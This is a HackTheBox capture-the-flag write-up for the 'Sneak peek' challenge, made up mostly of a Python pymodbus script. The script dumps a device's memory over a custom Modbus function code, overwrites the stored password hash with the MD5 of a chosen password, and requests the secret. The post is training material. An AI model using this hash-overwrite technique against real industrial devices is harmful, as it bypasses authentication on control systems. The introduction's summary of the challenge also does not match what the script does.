Post

HackTheBox Sneak peek Writeup

Explore the basics of cybersecurity in the Sneak peek Challenge on Hack The Box. This easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

1
2
3
python3.9 -m venv venv
source venv/bin/activate
pip install pymodbus==3.5.4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pymodbus.pdu import ModbusRequest, ModbusResponse
from pymodbus.transaction import ModbusSocketFramer
from pymodbus.client import ModbusTcpClient
import hashlib
import logging
import struct
import time
import sys

logging.basicConfig()
logging.getLogger().setLevel(logging.ERROR)

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <ip:port>")
    sys.exit(1)
HOST_IP,HOST_PORT = sys.argv[1].split(':')

CUSTOM_FUNCTION_CODE = 0x64
SESSION = 0x00
ERROR_CODES = { 0xE009: 'Authorization Error: Invalid password' }
READ_MEMORY_BLOCK = 0x20
WRITE_MEMORY_BLOCK = 0x21
GET_SECRET = 0x22

class CustomProtocolRequest(ModbusRequest):
    function_code = 0x64

    def __init__(self, session= 0x00, code= 0, data=None, **kwargs):
        super().__init__(**kwargs)
        self.session = session
        self.code = code
        self.data = data if data is not None else []

    def encode(self):
        data_format = '>BB' + 'B' * len(self.data)
        return struct.pack(data_format, self.session, self.code, *self.data)

    def decode(self, data):
        print('[!] Request decode is not required for client!')

class CustomProtocolResponse(ModbusResponse):
    function_code = 0x64

    def __init__(self, session= 0x00, code= 0x00, response_code= 0x00 , data= None, **kwargs):
        super().__init__(**kwargs)
        self.session = session
        self.code = code
        self.data = data if data is not None else []
        self.response_status = False

    def encode(self):
        print('[!] Response encode is not required for client!')

    def decode(self, data):
        self.session, self.code, self.response_status = struct.unpack('>BBB', data[:3])
        self.data = list(struct.unpack('>' + 'B' * (len(data) - 3), data[3:]))
        global SESSION
        SESSION = self.session

def send_custom_protocol_request(client, session, code, data):
    request = CustomProtocolRequest(session=session, code=code, data=data)
    response = client.execute(request)
    if response.function_code < 0x80:
        return response.code, response.response_status, response.data
    else:
        print("Error response:", response)
        return -1, -1, -1

def send_packet(client, SESSION, CUSTOM_CODE, DATA=[]):
    if client.connect():
        print("Connected to the server")
        code, status, data = send_custom_protocol_request(client, session= SESSION, code=CUSTOM_CODE, data=DATA)
        if len(data) == 2:
            hex_number = (lambda x: (x[0] << 8) + x[1])(data)
            if hex_number in ERROR_CODES:
                print(f'ERROR: {ERROR_CODES[hex_number]}')
        else:
            print("Failed to connect to the server")
        return code, status, data

def increment_address(address, increment):
    address_int = (address[0] << 16) + (address[1] << 8) + address[2]
    address_int += increment
    return [(address_int >> 16) & 0xFF, (address_int >> 8) & 0xFF, address_int & 0xFF]

def split_list_at_value(input_list, split_value):
    result = []
    sublist = []
    for item in input_list:
        if item == split_value:
            if sublist:
                result.append(sublist)
                sublist = []
        else:
            sublist.append(item)
    if sublist:
        if not all(x == 0xFF for x in sublist):
            result.append(sublist)
    return result

def find_sublist_index(main_list, sublist):
    sublist_len = len(sublist)
    for i in range(len(main_list) - sublist_len + 1):
        if main_list[i:i + sublist_len] == sublist:
            return i
    return -1

def string_to_list_of_ints(input_string):
    int_list = [ord(char) for char in input_string]
    return int_list

def int_to_3_byte_list(value):
    return [(value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF]

if __name__ == "__main__":
    client = ModbusTcpClient(HOST_IP, port=HOST_PORT, framer=ModbusSocketFramer)
    client.framer.decoder.register(CustomProtocolResponse)
    address = [0x00, 0x00, 0x00]
    read_length = 0xFF
    memory_block_data = []
    for i in range(0, 64): # 64 * 256 == 16 * 1024
        data = address + [read_length]
        code, status, data = send_packet(client, SESSION, READ_MEMORY_BLOCK, data)
        if all(byte == 0xFF for byte in data):
            print("All bytes are 0xFF, exiting loop.")
            break
        memory_block_data += data
        address = increment_address(address, read_length)
    split_value = 0x00
    memory_block_entries = split_list_at_value(memory_block_data, split_value)
    hash_entry = []
    for entry in memory_block_entries:
        if len(entry) >= 16:
            print(entry)
            hash_entry += entry
    
    hash_entry_index = find_sublist_index(memory_block_data, hash_entry)
    print(hash_entry_index)
    passowrd = 'new_password'
    password_list = string_to_list_of_ints(passowrd)
    hash_object = hashlib.md5()
    hash_object.update(passowrd.encode())
    hashed_value = hash_object.digest()
    hashed_value_list = list(hashed_value)
    for increment in range(0, 16):
        address = int_to_3_byte_list(hash_entry_index+increment)
        print(f'Trying address {address}')
        code, status, data = send_packet(client, SESSION, 0x21, address + hashed_value_list)
        print(code, status, data)
        code, status, data = send_packet(client, SESSION, 0x22, password_list)
        print(code, status, data)
        if len(data) > 2:
            print('Found correct hash address!')
            flag = ""
            for char in data:
                flag += chr(char)
            print('FLAG', flag)

Summary

The Sneak Peek Challenge on Hack The Box focuses on custom Modbus protocol manipulation and memory forensics. It involves reverse engineering, hash decoding, and memory traversal using Python, offering a hands-on approach to hardware-level communication and encryption reversal. Perfect for sharpening cybersecurity and scripting skills.

This post is licensed under CC BY 4.0 by the author.